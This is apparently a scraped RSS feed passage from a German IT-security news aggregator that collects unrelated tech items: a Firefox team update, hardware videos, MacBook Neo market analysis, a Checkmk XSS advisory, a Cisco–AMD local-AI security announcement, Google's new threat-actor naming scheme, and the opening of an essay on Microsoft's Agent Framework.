<li>Niklas <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013735">fixed captions on autopip videos failing to sync with the origin videos</a>.</li>
</ul>
<h4>Performance Tools (aka <a href="https://profiler.firefox.com/">Firefox Profiler</a>)</h4>
<ul>
<li>Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.
<ul>
<li><a href="https://www.npmjs.com/package/@firefox-devtools/profiler-cli">https://www.npmjs.com/package/@firefox-devtools/profiler-cli</a></li>
<li>You can install it with npm install -g @firefox-devtools/profiler-cli@latest</li>
</ul>
</li>
</ul>
<h4>Search and Urlbar</h4>
<h6>Nova UI refresh</h6>
<ul>
<li>Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019154">2019154</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019152">2019152</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041501">2041501</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040532">2040532</a></li>
</ul>
<h6>Suggest</h6>
<ul>
<li>Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040561">2040561</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039753">2039753</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035614">2035614</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038843">2038843</a></li>
</ul>
<h6>Adaptive autofill</h6>
<ul>
<li>James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040819">2040819</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037177">2037177</a></li>
</ul>
<h6>Quick actions</h6>
<ul>
<li>Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.</li>
<li>Caleb added Calculator support for certain unicode operators.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023169">2023169</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1928635">1928635</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1923383">1923383</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033861">2033861</a></li>
</ul>
<h6>Multi Context Address Bar</h6>
<ul>
<li>Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039297">2039297</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036095">2036095</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039844">2039844</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037933">2037933</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030050">2030050</a></li>
</ul>
<h6><i>Other</i></h6>
<ul>
<li>Marco, Drew and Daisuke fixed several intermittent test failures.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038510">2038510</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023908">2023908</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011584">2011584</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1938142">1938142</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1971091">1971091</a></li>
</ul>
<h5>Search</h5>
<ul>
<li>Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from <i>resource://search-extensions/</i>.</li>
<li>Caleb fixed multiple documentation issues and added a test covering searches from a private window.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904613">1904613</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035878">2035878</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037942">2037942</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033545">2033545</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2005724">2005724</a></li>
</ul>
<h5>Places</h5>
<ul>
<li>Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.</li>
<li>Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039534">2039534</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1505800">1505800</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008829">2008829</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029541">2029541</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035084">2035084</a></li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why PC Memory is Stuck in 1995 (Unified Memory Explained)]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 10104x - Views:195333 Play War Thunder for FREE on PC, PlayStation, Xbox, and mobile using the links below! New to the game, or returning after six months? You'll get a massive bonus pack on PC and consoles packed with vehicles, boosters, and more. Claim your bonu...]]></description>
<link>https://tsecurity.de/de/3693241/videos/why-pc-memory-is-stuck-in-1995-unified-memory-explained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693241/videos/why-pc-memory-is-stuck-in-1995-unified-memory-explained/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:06 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 10104x - Views:195333 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/mWFKVqtAkeI?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Play War Thunder for FREE on PC, PlayStation, Xbox, and mobile using the links below! New to the game, or returning after six months? You&#039;ll get a massive bonus pack on PC and consoles packed with vehicles, boosters, and more. Claim your bonus and start playing today!<br />
<br />
PC/Console: https://playwt.link/techquickie <br />
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<br />
Computer memory is officially worth more than gold, thanks to AI. So why do our CPUs and GPUs still act like selfish jerks and refuse to share it? They can and it&#039;s called Unified Memory, and in this video we’re breaking down the physical bottlenecks of traditional PC architecture and explaining how Apple - and now AMD and NVIDIA - are rewriting the rules of hardware efficiency. Special thanks to Professor Prashant Nair from UBC for lending his engineering expertise!<br />
<br />
Leave a reply with your requests for future episodes.<br />
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</item>
<item>
<title><![CDATA[NVIDA's New DGX Stations Destroying The Entire AI INDUSRTY!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 791x - Views:22194 NVIDIA just revealed the most powerful AI workstation ever built—and it puts data center hardware on your desk. Powered by the new GB300 Grace Blackwell Ultra Superchip, the NVIDIA DGX Station combines a 72-core Grace CPU, a Blackwell Ultra GPU ...]]></description>
<link>https://tsecurity.de/de/3693227/videos/nvidas-new-dgx-stations-destroying-the-entire-ai-indusrty/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693227/videos/nvidas-new-dgx-stations-destroying-the-entire-ai-indusrty/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:45 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 791x - Views:22194 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/Oi_3c3jiMPw?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>NVIDIA just revealed the most powerful AI workstation ever built—and it puts data center hardware on your desk. Powered by the new GB300 Grace Blackwell Ultra Superchip, the NVIDIA DGX Station combines a 72-core Grace CPU, a Blackwell Ultra GPU with 20,480 CUDA cores, 748GB of unified coherent memory, and up to 20 petaflops of AI compute. It&#039;s designed to run massive AI models locally, eliminating many of the memory limitations that force developers to rely on expensive cloud GPUs. In this video, we break down the DGX Station architecture, unified memory, NVLink C2C, HBM3e, local AI inference, trillion-parameter model claims, real-world pricing, and why NVIDIA believes desktop AI workstations are the future of artificial intelligence development. We also compare the DGX Station with DGX Spark, Apple’s Mac Studio, cloud GPU infrastructure, and explain why local AI could become the next major shift in computing.<br />
<br />
Is NVIDIA reinventing the personal computer for the AI era?<br />
<br />
#NVIDIA #DGXStation #Blackwell #AIWorkstation #ArtificialIntelligence #LocalAI #CUDA<br/></p>]]></content:encoded>
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<title><![CDATA[MacBook Neo’s success wasn’t luck, it was a plan]]></title>
<description><![CDATA[It’s difficult to ignore the fact that Apple seems to have turned its MacBook Neo into a weapon to promote platform growth, with enough performance under the hood to make competitors seem inferior.



And even as the PC industry moves to try to compete with Apple’s last huge Mac success, the comp...]]></description>
<link>https://tsecurity.de/de/3693115/it-nachrichten/macbook-neos-success-wasnt-luck-it-was-a-plan/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693115/it-nachrichten/macbook-neos-success-wasnt-luck-it-was-a-plan/</guid>
<pubDate>Sat, 25 Jul 2026 06:47:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">It’s difficult to ignore the fact that Apple seems to have <a href="https://www.computerworld.com/article/4180406/after-a-quick-1-1m-sales-macbook-neo-set-to-reshape-the-pc-industry.html">turned its MacBook Neo into a weapon</a> to promote platform growth, with enough performance under the hood to make competitors seem inferior.</p>



<p class="wp-block-paragraph">And even as the PC industry moves to try to compete with Apple’s last <a href="https://www.applemust.com/macbook-neo-continues-to-top-amazon-laptop-charts-in-us-uk/" target="_blank" rel="noreferrer noopener">huge Mac success</a>, the company is already planning a powerful follow-up.</p>



<p class="wp-block-paragraph">That points to the discipline Apple has applied to the Mac since the introduction of Apple Silicon. The company has built a clear product roadmap, strong entry-level pricing, and steady performance gains. This focus is now paying dividends, giving people the impetus to keep placing their trust in Apple and its Macs — even as the industry raises prices in the face of RAMageddon and price increases. </p>



<h2 class="wp-block-heading"><strong>The numbers don’t lie</strong></h2>



<p class="wp-block-paragraph">“Apple’s recent price increase seems to be an inevitable response to these cost increases. In the second half of the year, other PC OEMs are expected to continue to raise prices, and the overall ASP increase is expected to continue,” <a href="https://counterpointresearch.com/en/insights/global-pc-shipments-decline-q2-2026-memory-crisis" data-type="link" data-id="https://counterpointresearch.com/en/insights/global-pc-shipments-decline-q2-2026-memory-crisis" target="_blank" rel="noreferrer noopener">Counterpoint said in a post Wednesday</a>. The researcher tells us global PC shipments shrank 4% in the second quarter of 2026 as rising costs hit demand. The Mac maker, by contrast, moved in the opposite direction, generating 13% growth in the quarter — mainly on the back of the MacBook Neo introduction. </p>



<p class="wp-block-paragraph"><a href="https://www.idc.com/resource-center/press-releases/2q26-pc-top5/" target="_blank">Recent IDC data</a> gives Apple 10.1% year-over-year growth and just under 10% (9.9% to be exact) of the worldwide PC market, even as the overall market declined 4.9%.</p>



<p class="wp-block-paragraph">“With emerging supply chain and tariff challenges inflating memory prices…, Apple’s incredibly aggressive price-point for the MacBook Neo makes its release feel all the more like a gut punch to one of the PC market’s most valuable price tiers,” Futurum Research Director <a href="https://www.computerworld.com/article/4143010/apples-macbook-neo-first-reviews-and-analyst-reactions.html" data-type="link" data-id="https://www.computerworld.com/article/4143010/apples-macbook-neo-first-reviews-and-analyst-reactions.html">Olivier Blanchard said when the Neo was released</a>. </p>



<h2 class="wp-block-heading"><strong>Neo 2.0 is already coming</strong></h2>



<p class="wp-block-paragraph">In the immediate future, as competitors raise prices on the PCs that compete with Apple’s lower-cost device, Cupertino is <a href="https://www.culpium.com/p/apple-in-talks-to-boost-mac-neo-production" target="_blank" rel="noreferrer noopener">already plotting</a> the path toward <a href="https://www.bloomberg.com/news/articles/2026-07-22/apple-to-launch-new-macbook-air-imac-macbook-pro-neo-mac-mini-mac-studio" target="_blank" rel="noreferrer noopener">MacBook Neo 2.</a> Reports claim this will debut in March in new colors and use the A19 Pro chip from the iPhone 17 Pro, with performance boosted by slightly more unified memory (12GB, rather than 8GB). That’ll make it a much better Mac, likely with 10-15% performance gains and the ability to run Apple Intelligence, making it the best and most affordable AI PC in its class.</p>



<p class="wp-block-paragraph">Just four months after the Neo’s rollout, Apple is already in position to leak rumors of an even more computationally capable follow-up, while competitors struggle to compete with the original on performance, build quality, and price. Still, the Neo might get more expensive, reporting warns, with the lowest-price 256GB model now gone, making the $599 Mac a mirage we can only wistfully hope to see again. </p>



<p class="wp-block-paragraph">That might matter less in context, as PC makers everywhere boost prices while RAM, chips, and storage prices head north, along with transport, logistics, and energy costs. “While [Apple] did raise prices in line with the broader market, it still remains well positioned against rivals facing the same cost pressures,” said Jean Philippe Bouchard, vice president for consumer devices at IDC. </p>



<p class="wp-block-paragraph">“As market conditions continue to worsen, the importance of supply chain management and capabilities are increasingly important,” Bouchard said. “The largest vendors, with their buying power and long-standing supplier ties, are best positioned to take share from smaller rivals.”</p>



<h2 class="wp-block-heading"><strong>This was never about luck</strong></h2>



<p class="wp-block-paragraph">This isn’t solely a market take about competition, it’s about planning.</p>



<p class="wp-block-paragraph">Few in the industry seemed prepared for the massive memory price increases that hit this year. Apple clearly planned its low-cost Mac well before that happened, hoping to seize the PC market at the low-mid-range. This is precisely what it seems to have done, what it continues to do, and what it will continue to do.</p>



<p class="wp-block-paragraph">The recent reports that it has a successor planned shows the breadth of the Mac company’s strategic vision, as Apple has quite clearly sought to fully exploit the failings of Windows and the internal contradictions of a value-conscious industry in stiff competition with itself.</p>



<p class="wp-block-paragraph">With the first M-series Macs about to enter the replacement cycle, Apple has built a market it can capitalize on for at least a decade, meaning it already has a vision for PC sales that extends at least as far. That’s the kind of road map corporate purchasers want when they make platform deployment decisions, which is why Apple’s 10% share gains are the beginning of <a href="https://www.computerworld.com/article/4150717/hexnode-ceo-macbook-neo-forces-it-to-rethink-its-budget-laptop-strategy.html">even more significant market change</a>. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to my daily Apple-related news summaries at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[CVE-2026-33276 | Checkmk up to 2.5.0b1 Unified Search cross site scripting]]></title>
<description><![CDATA[A vulnerability classified as problematic has been found in Checkmk up to 2.5.0b1. Affected by this vulnerability is an unknown functionality of the component Unified Search. This manipulation causes cross site scripting.

The identification of this vulnerability is CVE-2026-33276. It is possible...]]></description>
<link>https://tsecurity.de/de/3692710/sicherheitsluecken/cve-2026-33276-checkmk-up-to-250b1-unified-search-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692710/sicherheitsluecken/cve-2026-33276-checkmk-up-to-250b1-unified-search-cross-site-scripting/</guid>
<pubDate>Sat, 25 Jul 2026 00:54:19 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/checkmk">Checkmk up to 2.5.0b1</a>. Affected by this vulnerability is an unknown functionality of the component <em>Unified Search</em>. This manipulation causes cross site scripting.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-33276">CVE-2026-33276</a>. It is possible to initiate the attack remotely. There is no exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
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<title><![CDATA[Cisco, AMD partner to bring enterprise-level security, visibility to Ryzen AI Halo systems]]></title>
<description><![CDATA[Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.



During AMD’s Advancing AI event this week, Cisco’s president and chief product officer Jeetu Pat...]]></description>
<link>https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</guid>
<pubDate>Fri, 24 Jul 2026 19:18:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.</p>



<p class="wp-block-paragraph">During AMD’s <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Advancing AI event</a> this week, Cisco’s president and chief product officer <a href="https://www.networkworld.com/article/4184554/how-jeetu-patel-made-cisco-unrecognizable.html">Jeetu Patel</a> took to the stage during AMD CEO <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Lisa Su’s keynote</a> to talk about how AI inference will be widely distributed and will require an architectural stack of software and tools that Cisco and <a href="https://www.networkworld.com/article/4199402/helios-marks-amds-biggest-ai-infrastructure-push-yet.html">AMD</a> are partnering to develop.</p>



<p class="wp-block-paragraph">The joint architecture combines AMD’s compact, high-performance Ryzen AI Halo hardware and a variety of Cisco networking, observability, governance, and security technologies. “AMD provides the deskside/local AI platform. At the foundation is AMD Ryzen AI Halo hardware, an isolated agent sandbox and the services needed for local-first inferencing, including model routing and token limits via AMD’s Semantic Router and local inference on Lemonade,” wrote Cisco’s <a href="https://www.linkedin.com/in/yash-sheth-/">Yash Sheth</a>, senior director, engineering and research, in a <a href="https://blogs.cisco.com/ai/from-one-desk-to-the-whole-enterprise-making-local-ai-resilient">blog post</a> about the new package.</p>



<p class="wp-block-paragraph"><a href="https://www.amd.com/en/products/processors/desktops/ryzen/ryzen-ai-halo.html?gad_source=1&amp;gad_campaignid=24009436319&amp;gbraid=0AAAAApk3AUDJs1_xMEd2YjxcG8iJu-gS4&amp;gclid=Cj0KCQjw94bTBhDQARIsAN3vv0xmM9xu9mXa5H5zAbKFqNzUy1FPP5AS-lOA1qXh1a9bmw54LMQtYXgaArV-EALw_wcB">Ryzen AI Halo</a> (pictured below) is designed to support local AI inference on an AI PC using its CPU, GPU, and XDNA neural processing unit (NPU), according to AMD. A resilient AI platform should continue delivering useful AI services even when connectivity is limited, models need to change, or workloads shift, AMD stated.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;</figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">Cisco then wraps that platform in a secure harness that includes its Splunk Agent Observability plus Splunk Infrastructure Monitoring to provide full-stack observability, tracking agent behavior, tokenomics and compute operation, according to Sheth.</p>



<p class="wp-block-paragraph">Cisco also brings its <a href="https://www.networkworld.com/article/4148823/cisco-goes-all-in-on-agentic-ai-security.html">AI Defense</a> for model and agent security; <a href="https://www.networkworld.com/article/4179673/cisco-brings-agentic-ops-platform-and-security-overhaul-to-cisco-live.html">DefenseClaw</a> for security policy enforcement, so guardrails are enforced directly on-device, within the agent harness; and <a href="https://www.networkworld.com/article/4180810/what-is-cisco-cloud-control-and-why-should-customers-care.html">Cisco Cloud Control</a> offering a single pane of glass for unified policy and control, Sheth stated.</p>



<p class="wp-block-paragraph">“To make deskside and local AI computing work at enterprise scale, every AI node must be treated as a secure, managed node in the enterprise network,” Sheth wrote.</p>



<p class="wp-block-paragraph">“The need for token efficiency and data sovereignty is driving a new class of computing, deskside computing, with users and teams putting AI agents right by their sides,” Sheth wrote. “Inference is moving to a hybrid architecture with thousands of ambient deskside agents in an enterprise helping employees have 24×7 productivity. That’s an extraordinary opportunity. It’s also a brand-new operating challenge.”</p>



<p class="wp-block-paragraph">As agentic AI moves from experimentation to real enterprise workflows, organizations need more than powerful endpoints. AI agents can run continuously and act on enterprise data, but create new requirements for network infrastructure, tokenomics, agent behavior, and security, according to a <a href="https://newsroom.amd.com/news/aai-2026-cisco-client-partnership-update/">statement</a> from AMD.</p>



<p class="wp-block-paragraph">“Running more AI locally can help improve responsiveness, keep sensitive data closer to users, and reduce dependence on cloud-only approaches, but enterprises also need a way to monitor and manage these systems at scale. AMD and Cisco are addressing that gap by collaborating to pair high-performance local AI compute with the observability, governance, and control infrastructure needed for enterprises to deploy it responsibly,” AMD stated.</p>



<p class="wp-block-paragraph">“By combining AMD Ryzen AI Halo systems and our broader local AI software capabilities with Cisco’s enterprise networking, observability and security technologies, we are helping customers deploy AI in a way that is performant, secure, observable and manageable at scale,” said Jack Huynh, senior vice president and general manager, computing and graphics group with AMD, in a statement.</p>



<p class="wp-block-paragraph">A few other interesting statistics and trends cited in AMD CEO Su’s keynote include:</p>



<ul class="wp-block-list">
<li>AI adoption is accelerating across all industries, with agentic AI driving a surge in compute demand and shifting workloads from training to inference, which accounts for 60% of global AI compute capacity in 2026.</li>



<li>AI is moving beyond the cloud, with edge and personal devices becoming critical for real-time, distributed intelligence.</li>



<li>The AI accelerator market is projected to reach $1.4 trillion by 2030, nearly tripling previous forecasts, with GPUs expected to dominate but CPUs gaining new growth vectors due to agentic AI.</li>



<li>Server CPU market is forecasted to grow over 50% to $200 billion by 2030, fueled by rapid agentic AI adoption and the need for massive CPU infrastructure.</li>
</ul>
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<title><![CDATA[Updated Cyber Threat Actor Naming System]]></title>
<description><![CDATA[Introduction 
Today, Google Threat Intelligence Group (GTIG) will begin rolling out a unified naming schema for tracking threat actors. This new naming taxonomy represents an effort to standardize tracking across platforms and public reporting.
Why are we Adopting a Different Naming System?
Histo...]]></description>
<link>https://tsecurity.de/de/3691731/it-security-nachrichten/updated-cyber-threat-actor-naming-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691731/it-security-nachrichten/updated-cyber-threat-actor-naming-system/</guid>
<pubDate>Fri, 24 Jul 2026 16:04:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><h2><strong>Introduction </strong></h2>
<p><span>Today, Google Threat Intelligence Group (GTIG) will begin rolling out a unified naming schema for tracking threat actors. This new naming taxonomy represents an effort to standardize tracking across platforms and public reporting.</span></p>
<h2><strong>Why are we Adopting a Different Naming System?</strong></h2>
<p><span>Historically, Mandiant and Google’s Threat Analysis Group (TAG) maintained distinct tracking systems, relying on parallel naming schemas that grew independently over time. The creation of GTIG has necessitated a new, fused tracking system, and a new naming system. Thinking to the future, GTIG’s new system will rely on cryptonyms. Relying on sequential numbers or disparate identifiers (e.g. APT1) fails to provide defenders the critical context needed to operate quickly. Threat tracking shouldn’t be an exercise in memorization, but rather one of intuition. The new naming convention aligns with industry standard threat actor naming systems. </span></p>
<h2><strong>Our New Schema</strong></h2>
<p><span>Our new schema utilizes a cryptonym-based approach, employing memorable two-word combinations for each distinct threat actor:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>The </span><strong>first word</strong><span> is a unique and memorable term chosen to represent the specific actor, particularly names that may have been used in prior public reporting. If no previously used term exists, this word is randomly generated to remove bias, then vetted by our analysts.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>The </span><strong>second word</strong><span> categorizes threat clusters by motivation, attribution, or activity type based on which category we consider to be most important for defense and response strategies.</span></p>
</li>
</ul>
<p><span>The table below provides a sample of how threat actor categories will map to the second word in each cryptonym:</span></p>
<div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Origin or Type</strong></p>
</td>
<td>
<p><strong>Group Name</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>People’s Republic of China</span></p>
</td>
<td>
<p><span>CASTLE</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Iran</span></p>
</td>
<td>
<p><span>ION</span></p>
</td>
</tr>
<tr>
<td>
<p><span>North Korea</span></p>
</td>
<td>
<p><span>NEPTUNE</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Russia</span></p>
</td>
<td>
<p><span>RELIC</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Cybercriminal</span></p>
</td>
<td>
<p><span>COMET</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span>Table 1: Examples of Google’s new threat actor naming system categories</span></p>
<p><span>We know there are many threat actor tracking schemas in the industry, so we are intentionally seeking to keep this system as simple as possible to streamline operations and facilitate mapping to other naming taxonomies. However, a significant caveat remains: because no two organizations have the exact same visibility into the threat landscape, direct, apples-to-apples comparisons between threat actors are rarely possible. Transitioning to a convention that is simpler to follow and remember is a practical step toward managing a highly intricate tracking problem. </span></p>
<h2><strong>A Work in Progress</strong></h2>
<p><span>We have initially prioritized renaming several dozen of the most active groups, and will continue this process on a rolling basis. Previous names will remain indexed and searchable in the Google Threat Intelligence (GTI) platform, with MITRE ATT&amp;CK mappings and other vendor aliases preserved, see Figure 1. </span></p></div>
<div class="block-image_full_width">






  
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        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/image_22.max-1000x1000.png" alt="Updated Cyber Threat Actor Naming System Image 1">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="5g4yd">Figure 1: Threat actor name appearance in GTI platform on initial rollout</p></figcaption>
      
    </figure>

  
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</div>
<div class="block-paragraph_advanced"><p><span>We will continue to use UNC, or “uncategorized” designations for threat clusters that are still in the early stages of investigation, as described </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/how-mandiant-tracks-uncategorized-threat-actors"><span>here</span></a><span>.</span></p></div>]]></content:encoded>
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<title><![CDATA[The Microsoft agent framework wars are over. The real architecture decision starts now]]></title>
<description><![CDATA[Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?



At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the fo...]]></description>
<link>https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</guid>
<pubDate>Fri, 24 Jul 2026 11:04:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?</p>



<p class="wp-block-paragraph">At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.</p>



<p class="wp-block-paragraph">Looking back, I think we were asking the wrong question. I certainly was.</p>



<p class="wp-block-paragraph">I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.</p>



<p class="wp-block-paragraph">Then Microsoft settled it for us. It <a href="https://learn.microsoft.com/en-us/agent-framework/overview/">introduced the unified Agent Framework</a>, quietly moved Semantic Kernel and AutoGen into <a href="https://devblogs.microsoft.com/agent-framework/migrate-your-semantic-kernel-and-autogen-projects-to-microsoft-agent-framework-release-candidate/">maintenance mode</a>, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.</p>



<p class="wp-block-paragraph">What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.</p>



<p class="wp-block-paragraph">It didn’t change the meal.</p>



<h2 class="wp-block-heading">The framework was never the hard part</h2>



<p class="wp-block-paragraph">Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?</p>



<p class="wp-block-paragraph">Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.</p>



<p class="wp-block-paragraph">The first question I ask now is much smaller. Does this thing actually need an agent?</p>



<p class="wp-block-paragraph">It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.</p>



<p class="wp-block-paragraph">Part of this is just that “<strong>agent</strong>” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.</p>



<h2 class="wp-block-heading">What building production agents actually taught me</h2>



<p class="wp-block-paragraph">Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.</p>



<h3 class="wp-block-heading">Context beats model choice</h3>



